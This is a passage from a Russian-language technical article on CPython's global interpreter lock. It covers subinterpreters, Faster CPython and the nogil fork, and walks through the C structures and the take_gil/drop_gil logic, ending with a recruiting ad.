Интерпретаторы были частью CPython с версии 1.5, но они представляют собой всего лишь механизм изоляции. Они хранят данные, имеющие отношение к группе потоков: загруженные модули, встроенные объекты, настройки импорта и прочее подобное. Они не видны из Python, но C-расширения могут пользоваться ими через Python/C API. Лишь немногие расширения пользуются этими возможностями, в частности, заметный пример такого расширения — это [mod\_wsgi](https://modwsgi.readthedocs.io/en/develop/index.html).
Сегодняшние интерпретаторы ограничены тем фактом, что им нужно совместно использовать GIL. Это может измениться только тогда, когда всё, имеющее отношение к глобальному состоянию, будет ограничено пределами отдельного интерпретатора. В этом направлении [ведётся работа](https://pythondev.readthedocs.io/subinterpreters.html), но кое-что ещё остаётся глобальным: некоторые встроенные типы, синглтоны вроде `None`, `True` и `False`, части системы выделения памяти. C-расширениям, прежде чем они смогут работать с суб-интерпретаторами, тоже надо [избавиться от глобального состояния](https://www.python.org/dev/peps/pep-0630/).
Эрик Сноу подготовил предложение [PEP 554](https://www.python.org/dev/peps/pep-0554/), описывающее добавление в стандартную библиотеку модуля `interpreters`. Идея тут заключается в том, чтобы предоставить Python доступ к существующему C API для работы с интерпретаторами и дать механизм для организации обмена данными между интерпретаторами. Предложение нацелено на Python 3.9, но его внедрение отложено до того момента, когда у каждого интерпретатора будет собственная GIL. И даже тогда нет гарантии того, что PEP 554 будет внедрено. Действительно ли Python нуждается в ещё одной модели конкурентного выполнения кода — это [спорный вопрос](https://mail.python.org/archives/list/python-dev@python.org/thread/3HVRFWHDMWPNR367GXBILZ4JJAUQ2STZ/).
Ещё один восхитительный современный проект называется [Faster CPython](https://github.com/faster-cpython). В октябре 2020 года Марк Шеннон предложил [план](https://github.com/markshannon/faster-cpython) пятикратного ускорения CPython в течение нескольких лет. И этот план в реальности выглядит гораздо более реалистичным, чем может показаться на первый взгляд, так как очень многое в CPython можно подвергнуть оптимизации. Одно только добавление в него JIT может привести к огромному приросту производительности.
Похожие проекты появлялись и раньше, но они терпели неудачи — либо из-за отсутствия средств на их развитие, либо из-за нехватки опыта у тех, кто ими занимался. В этот раз поддерживать проект Faster CPython [вызвалась](https://lwn.net/Articles/857754/) компания Microsoft, что позволит Марку Шеннону, Гвидо ван Россуму и Эрику Сноу работать над проектом. Некоторые наработки, сделанные в рамках проекта, уже попали в код CPython, они не залёживаются в форке.
Проект Faster CPython направлен на улучшение однопоточной производительности. У его команды нет планов, касающихся изменения или устранения GIL. Но, несмотря на это, если проект окажется успешным, будет исправлена одна из главных проблем Python, а значит — вопрос о GIL станет острым, как никогда.
### P.S.
Бенчмарки, использованные в этом материале, можно найти на [GitHub](https://github.com/r4victor/pbts13_gil). Хочу выразить особую благодарность Дэвиду Бизли за его [замечательные доклады](https://dabeaz.com/talks.html). Доклады Ларри Хастингса о GIL и о проекте Gilectomy ([первый](https://www.youtube.com/watch?v=KVKufdTphKs), [второй](https://www.youtube.com/watch?v=P3AyI_u66Bw) и [третий](https://www.youtube.com/watch?v=pLqv11ScGsQ)) тоже весьма интересны. Для того чтобы разобраться с тем, как работают планировщики в современных ОС, я прочитал [книгу](https://www.amazon.com/Linux-Kernel-Development-Robert-Love/dp/0672329468) Роберта Лава «Ядро Linux: описание процесса разработки». Горячо рекомендую её всем, кому это интересно.
Если вы хотите углубиться в изучение устройства GIL, это значит, что вам стоит почитать исходный код. Идеальным местом для начала этого приключения является файл [Python/ceval\_gil.h](https://github.com/python/cpython/blob/3.9/Python/ceval_gil.h). Я, для того чтобы помочь тем, кто на это решится, подготовил следующий дополнительный раздел.
### Детали реализации GIL
GIL, с технической точки зрения — это флаг, указывающий на то, захвачена ли блокировка, набор мьютексов и условных переменных, которые контролируют установку этого флага, а так же некоторые другие вспомогательные переменные, вроде той, которая хранит значение интервала переключения. Всё это хранится в структуре `_gil_runtime_state`:
```
struct _gil_runtime_state {
/* Микросекунды (Python API, правда, использует секунды) */
unsigned long interval;
/* Последняя сущность PyThreadState удерживающая / удерживавшая GIL. Это
помогает узнать о том, было ли что-то запланировано, после того, как мы освободили GIL. */
_Py_atomic_address last_holder;
/* Захвачена ли блокировка (-1 - если не инициализировано). Это - атомарная переменная, так как
читать её можно без какой-либо блокировки, захваченной в ceval.c. */
_Py_atomic_int locked;
/* Количество переключений GIL с начала работы. */
unsigned long switch_number;
/* Эта условная переменная позволяет одному или нескольким потокам ожидать
освобождения GIL. Мьютекс, кроме того, защищает вышеобъявленные переменные. */
PyCOND_T cond;
PyMUTEX_T mutex;
#ifdef FORCE_SWITCHING
/* Эта условная переменная помогает потоку, освобождающему GIL, дождаться планирования
потока, ожидающего GIL, и захвата GIL этим потоком. */
PyCOND_T switch_cond;
PyMUTEX_T switch_mutex;
#endif
};
```
Структура `_gil_runtime_state` является частью глобального состояния. Она хранится в структуре `_ceval_runtime_state`, которая, в свою очередь, является частью состояния `_ceval_runtime_state`, к которому есть доступ у всех Python-потоков:
```
struct _ceval_runtime_state {
_Py_atomic_int signals_pending;
struct _gil_runtime_state gil;
};
```
```
typedef struct pyruntimestate {
// ...
struct _ceval_runtime_state ceval;
struct _gilstate_runtime_state gilstate;
// ...
} _PyRuntimeState;
```
Обратите внимание на то, что структура `_gilstate_runtime_state` — это не то же самое, что `_gil_runtime_state`. Она хранит информацию о потоке, удерживающем GIL:
```
struct _gilstate_runtime_state {
/* bpo-26558: Флаг для отключения PyGILState_Check().
Если установлен в ненулевое значение, PyGILState_Check() всегда возвращает 1. */
int check_enabled;
/* Если предположить, что GIL удерживает текущий поток, это будет
PyThreadState для текущего потока. */
_Py_atomic_address tstate_current;
/* Единственное PyInterpreterState, используемое реализацией
GILState этого процесса
*/
/* TODO: Принимая во внимание interp_main может быть возможным уничтожение этой ссылки */
PyInterpreterState *autoInterpreterState;
Py_tss_t autoTSSkey;
};
```
И, наконец, существует структура `_ceval_state`, являющаяся частью `PyInterpreterState`. Она хранит флаги `eval_breaker` и `gil_drop_request`:
```
struct _ceval_state {
int recursion_limit;
int tracing_possible;
/* Эта переменная собирает все запросы на выход
из вычислительного цикла. */
_Py_atomic_int eval_breaker;
/* Запрос на освобождение GIL. */
_Py_atomic_int gil_drop_request;
struct _pending_calls pending;
};
```
Python/C API дают нам функции [PyEval\_RestoreThread()](https://docs.python.org/3/c-api/init.html#c.PyEval_RestoreThread) и [PyEval\_SaveThread()](https://docs.python.org/3/c-api/init.html#c.PyEval_SaveThread), предназначенные для захвата и освобождения GIL. Эти функции, кроме того, занимаются установкой`gilstate->tstate_current`. Фактически же все эти задачи решают функции [take\_gil()](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Python/ceval_gil.h#L211) и [drop\_gil()](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Python/ceval_gil.h#L144). Они вызываются потоком, удерживающим GIL, когда он приостанавливает выполнение байт-кода:
```
/* Обрабатывает сигналы, ожидающие вызовы, запрос на освобождение GIL
и асинхронное исключение */
static int
eval_frame_handle_pending(PyThreadState *tstate)
{
_PyRuntimeState * const runtime = &_PyRuntime;
struct _ceval_runtime_state *ceval = &runtime->ceval;
/* Ожидающие сигналы */
// ...
/* Ожидающие вызовы */
struct _ceval_state *ceval2 = &tstate->interp->ceval;
// ...
/* Запрос на освобождение GIL */
if (_Py_atomic_load_relaxed(&ceval2->gil_drop_request)) {
/* Дать шанс другому потоку */
if (_PyThreadState_Swap(&runtime->gilstate, NULL) != tstate) {
Py_FatalError("tstate mix-up");
}
drop_gil(ceval, ceval2, tstate);
/* Теперь могут работать другие потоки */
take_gil(tstate);
if (_PyThreadState_Swap(&runtime->gilstate, tstate) != NULL) {
Py_FatalError("orphan tstate");
}
}
/* Проверка на асинхронное исключение. */
// ...
}
```
В Unix-подобных системах реализация GIL основана на примитивах, предоставляемых библиотекой [pthreads](https://man7.org/linux/man-pages/man7/pthreads.7.html). В их состав входят мьютексы и условные переменные. В двух словах расскажу о том, как всё это работает. Поток вызывает [pthread\_mutex\_lock(mutex)](https://linux.die.net/man/3/pthread_mutex_lock) для того чтобы заблокировать мьютекс. Когда другой поток делает то же самое — он блокируется. Операционная система помещает этот поток в очередь потоков, ожидающих освобождения мьютекса и будит этот поток когда первый поток вызывает [pthread\_mutex\_unlock(mutex)](https://linux.die.net/man/3/pthread_mutex_unlock). В некий момент времени лишь один поток может выполнять защищённый код.
Условные переменные позволяют одному потоку ждать до тех пор, пока другой поток не сделает некое условие истинным. Для того чтобы организовать ожидание изменения условной переменной, поток блокирует мьютекс и вызывает [pthread\_cond\_wait(cond, mutex)](https://linux.die.net/man/3/pthread_cond_wait) или [pthread\_cond\_timedwait(cond, mutex, time)](https://linux.die.net/man/3/pthread_cond_wait). Эти вызовы атомарно разблокируют мьютекс и блокируют поток. Операционная система помещает поток в очередь ожидания и будит его тогда, когда другой поток вызывает [pthread\_cond\_signal()](https://linux.die.net/man/3/pthread_cond_signal). Разбуженный поток снова блокирует мьютекс и продолжает работу. Вот как обычно используются условные переменные:
```
# ожидающий поток
mutex.lock()
while not condition:
cond_wait(cond_variable, mutex)
# ... условная переменная равняется True, сделать что-то
mutex.unlock()
```
```
# сигнализирующий поток
mutex.lock()
# ... сделать что-то для того, чтобы установить условную переменную в True
cond_signal(cond_variable)
mutex.unlock()
```
Обратите внимание на то, что ожидающий поток должен проверять условие в цикле, так как [не гарантируется](https://stackoverflow.com/questions/7766057/why-do-you-need-a-while-loop-while-waiting-for-a-condition-variable), что оно, после уведомления, будет иметь значение `True`. Мьютекс позволяет обеспечить то, что ожидающий поток не пропустит момент изменения значения условной переменной с `False` на `True`.
Функции `take_gil()` и `drop_gil()` используют условную переменную `gil->cond` для того, чтобы уведомлять потоки, ожидающие освобождения GIL, об освобождении GIL. А переменная `gil->switch_cond` используется для того, чтобы уведомлять поток, удерживающий GIL о том, что другой поток захватил GIL. Эти условные переменные защищены двумя мьютексами: `gil->mutex` и `gil->switch_mutex`.
Вот пошаговый разбор работы [take\_gil()](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Python/ceval_gil.h#L211):
1. Блокировка мьютекса GIL: `pthread_mutex_lock(&gil->mutex)`.
2. Проверка того, осуществлён ли захват GIL (`gil->locked`). Если ничто не захватило GIL — переход к шагу №4.
3. Ожидание освобождения GIL. Пока истинно `gil->locked`:
1. Запомнить `gil->switch_number`.
2. Подождать, пока поток, удерживающий GIL, освободит GIL: `pthread_cond_timedwait(&gil->cond, &gil->mutex, switch_interval)`.
3. Если вышло время тайм-аута, а значения `gil->locked` и `gil->switch_number` не изменились, попросить поток, удерживающий GIL, освободить блокировку: установить флаги `ceval->gil_drop_request` и `ceval->eval_breaker`.
4. Захватить GIL и уведомить поток, удерживающий GIL, о том, что мы захватили блокировку:
1. Заблокировать мьютекс `switch_mutex`: `pthread_mutex_lock(&gil->switch_mutex)`.
2. Установить `gil->locked`.
3. Если наш поток — это не поток, записанный в `gil->last_holder`, обновить значение `gil->last_holder` и инкрементировать `gil->switch_number`.
4. Уведомить поток, освобождающий GIL, о том, что мы захватили GIL: `pthread_cond_signal(&gil->switch_cond)`.
5. Разблокировать мьютекс `switch_mutex`: `pthread_mutex_unlock(&gil->switch_mutex)`.
5. Сбросить `ceval->gil_drop_request`.
6. Пересчитать `ceval->eval_breaker`.
7. Разблокировать мьютекс GIL: `pthread_mutex_unlock(&gil->mutex)`.
Обратите внимание на то, что пока поток ожидает GIL, блокировку может захватить другой поток, поэтому для того чтобы убедиться в том, что потоку, который только что захватил GIL, не придётся принудительно освобождать блокировку, необходимо проверять значение переменной `gil->switch_number`.
И, наконец, разберём работу [drop\_gil()](https://github.com/python/cpython/blob/5d28bb699a305135a220a97ac52e90d9344a3004/Python/ceval_gil.h#L144):
1. Заблокировать мьютекс GIL: `pthread_mutex_lock(&gil->mutex)`.
2. Сбросить `gil->locked`.
3. Уведомить поток, ожидающий GIL о том, что мы освободили GIL: `pthread_cond_signal(&gil->cond)`.
4. Разблокировать мьютекс GIL: `pthread_mutex_unlock(&gil->mutex)`.
5. Если установлен флаг `ceval->gil_drop_request`, подождать, пока другой поток захватит GIL:
1. Заблокировать мьютекс `switch_mutex`: `pthread_mutex_lock(&gil->switch_mutex)`.
2. Если мы всё ещё записаны в `gil->last_holder`, подождать: `pthread_cond_wait(&gil->switch_cond, &gil->switch_mutex)`.
3. Разблокировать мьютекс `switch_mutex`: `pthread_mutex_unlock(&gil->switch_mutex)`.
Обратите внимание на то, что потоку, освобождающему GIL, не нужно ждать изменения условной переменной в цикле. Он вызывает `pthread_cond_wait(&gil->switch_cond, &gil->switch_mutex`) только для того чтобы не начать немедленно повторно захватывать GIL. Если произошло изменение значения переменной — это означает, что другой поток захватил GIL и пришло время снова бороться с другими потоками за GIL.
**Дополнение от 16 октября 2021 года**. Сэм Гросс недавно [представил](https://mail.python.org/archives/list/python-dev@python.org/thread/ABR2L6BENNA6UPSPKV474HCS4LWT26GY/) широкой общественности свой форк CPython, который убирает GIL. Этот проект можно воспринимать как нечто вроде Gilectomy 2.0. Тут глобальная блокировка интерпретатора заменена на альтернативные механизмы обеспечения потокобезопасности, но, в отличие от Gilectomy, избавление от GIL не привело к значительному замедлению однопоточного кода. На самом деле, Гросс оптимизировал интерпретатор, в результате чего однопоточная производительность форка без GIL оказывается даже выше, чем у обычного CPython 3.9.
Этот проект выглядит как самая перспективная попытка освобождения CPython от GIL. Уверен, некоторые идеи Гросса доберутся до официального CPython. Для того чтобы узнать подробности об этом проекте и об идеях, лежащих в его основе, посмотрите его [проектную документацию](https://docs.google.com/document/d/18CXhDb1ygxg-YXNBJNzfzZsDFosB5e6BfnXLlejd9l0/) и [репозиторий](https://github.com/colesbury/nogil). А [вот](https://lwn.net/SubscriberLink/872869/0e62bba2db51ec7a/) — хороший материал о нём.
О, а приходите к нам работать? 😏Мы в [**wunderfund.io**](http://wunderfund.io/) занимаемся [высокочастотной алготорговлей](https://en.wikipedia.org/wiki/High-frequency_trading) с 2014 года. Высокочастотная торговля — это непрерывное соревнование лучших программистов и математиков всего мира. Присоединившись к нам, вы станете частью этой увлекательной схватки.
Мы предлагаем интересные и сложные задачи по анализу данных и low latency разработке для увлеченных исследователей и программистов. Гибкий график и никакой бюрократии, решения быстро принимаются и воплощаются в жизнь.
Сейчас мы ищем плюсовиков, питонистов, дата-инженеров и мл-рисерчеров.
[Присоединяйтесь к нашей команде.](http://wunderfund.io/#join_us) | https://habr.com/ru/post/586360/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.